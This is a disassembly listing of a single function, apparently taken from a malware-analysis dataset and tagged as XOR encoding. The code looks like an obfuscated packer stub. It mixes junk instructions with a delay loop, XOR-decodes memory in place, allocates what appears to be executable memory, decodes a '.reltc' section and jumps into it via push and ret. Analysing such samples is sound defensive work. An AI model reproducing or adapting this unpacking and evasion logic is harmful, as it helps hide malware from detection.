Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4e78dcc4
or esi, esi
mov esi, eax
popal
mov esi, eax
add esi, esi
add esi, eax
mov eax, 0
mov ebx, ecx
add edi, edi
or edi, esi
sub edi, esi
mov edx, ebx
add edi, esi
and edi, esi
mov esi, 0x764a092e
mov ecx, edx
sub edi, 1
sub esi, edi
inc eax
sub esi, 0x383c4b24
or esi, edi
cmp eax, 0x1008f00
jne 0xa789c2
sub edi, 0x6459f329
sub esi, 0x6fe9819a
mov esi, eax
dec eax
mov edx, 0xa78796
sub ecx, 0xb523a9b7
mov ecx, 0xd0a3f13e
mov esi, 0xa7898a
or eax, ecx
add ecx, eax
mov ebx, dword [edx]
mov edi, 0x94469168
mov edi, eax
add edi, ecx
and ebx, 0xff
sub ecx, edi
sub ecx, edi
and eax, ecx
xor dword [esi], ebx
dec ecx
sub ecx, edi
inc esi
not eax
or ecx, ecx
add edx, 1
add edi, edi
and ecx, eax
dec ecx
cmp esi, entry0
jl 0xa78a1c
or edi, edi
add eax, 0x1f5e3091
mov edi, 0xcc5b2d12
inc eax
add esi, 1
add esi, 0x6293b640
sub esi, 0xac075129
mov edx, 0xa7898e
sub ecx, 0xa64c8dad
mov edi, 0x258b1a65
not ebx
mov edx, dword [edx]
not edi
dec esi
not ebx
mov edx, dword [edx]
add esi, 0xd809243c
sub esi, 0xe2e7cdd6
push edx
mov ebx, edi
add edi, 0xa4bcb5ad
and edi, edi
mov edx, 0xa7898a
and ebx, esi
add edi, esi
sub ebx, ecx
mov edx, dword [edx]
not ecx
inc ecx
mov edx, dword [edx]
sub esi, 0xe89e265
and ebx, ebx
push 0xa78992
mov ebx, 0x4ee27ac2
not ecx
call edx
add ebx, ebx
add ebx, edi
not edi
pop edx
mov esi, ebx
sub ebx, 1
inc edi
push 0xa7899f
add ecx, ebx
add esi, 0xabafdbad
add ecx, 1
push eax
sub ecx, ebx
and esi, esi
call edx
mov ebx, esi
mov esi, ecx
mov esi, ebx
push 0x40
dec esi
not ebx
mov esi, ecx
push 0x3000
dec ebx
inc edi
inc ecx
push 0x20000ce0
and edi, ecx
mov ecx, edi
add edi, 0xf1b2cbb8
push 0
sub edi, 1
sub esi, ecx
call eax
not edi
and esi, ebx
sub ebx, 1
add eax, 0x20000c1a
sub ebx, ecx
sub ebx, ecx
or ecx, ebx
mov edx, 0x346d546
and ebx, ebx
add esi, esi
and ecx, esi
mov dword [eax], edx
dec esi
add ebx, edi
mov edx, dword [eax]
mov edi, esi
add edi, edi
dec edi
cmp edx, 0x346d546
je 0xa78b6a
mov eax, 0
mov ebx, dword [eax]
sub ecx, edi
add edi, 0x2a200223
not ebx
inc edi
or ecx, edi
mov edi, ecx
or eax, eax
sub eax, 0x4f3752e4
mov edi, section..reltc
not eax
not esi
mov eax, esi
mov edx, 0xa78795
add esi, 0x4976ebd5
dec esi
mov ecx, 0
or eax, esi
add esi, 0xbbaddbe4
mov ebx, 0xa78796
dec eax
sub eax, 0x2fe395d7
lea ebx, [ecx + ebx]
inc eax
sub esi, eax
or esi, eax
mov ebx, dword [ebx]
and eax, esi
add esi, eax
and eax, eax
and ebx, 0xff
inc esi
mov esi, eax
not esi
inc ecx
or esi, eax
dec esi
sub esi, eax
cmp ecx, 0x1f4
jne 0xa78bdf
mov ecx, 0
add esi, eax
mov eax, 0xf65da12b
add eax, esi
add eax, 1
add eax, 1
xor dword [edi], ebx
mov eax, 0x1a1103d6
add eax, 0x9d87579c
add edi, 2
not eax
sub eax, 0xb213d821
cmp edi, edx
jl 0xa78ba5
add eax, esi
and esi, esi
and esi, eax
add eax, 0x278b84bd
inc eax
mov esi, section..reltc
sub edi, eax
not edi
mov ebx, section..reltc
add eax, 1
not eax
mov ecx, 0xa78795
or edi, eax
sub eax, edi
sub edi, eax
mov edx, 0
add eax, 0x2bd665ae
sub eax, edi
add eax, 0xd6c9afe4
mov dl, byte [ebx]
add edi, 0x2176fa7f
or eax, edi
inc eax
mov byte [esi], dl
add edi, 0x117aba38
or edi, edi
sub eax, 0x96d8006b
inc esi
add eax, 0x9ce6459a
and edi, edi
add ebx, 2
dec edi
add edi, 0x695e69f3
and eax, edi
cmp ebx, ecx
jle 0xa78c58
add eax, 0x66830d0d
and edi, eax
inc esi
sub esi, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, 0x5f9032e2
inc esi
sub esi, 1
ret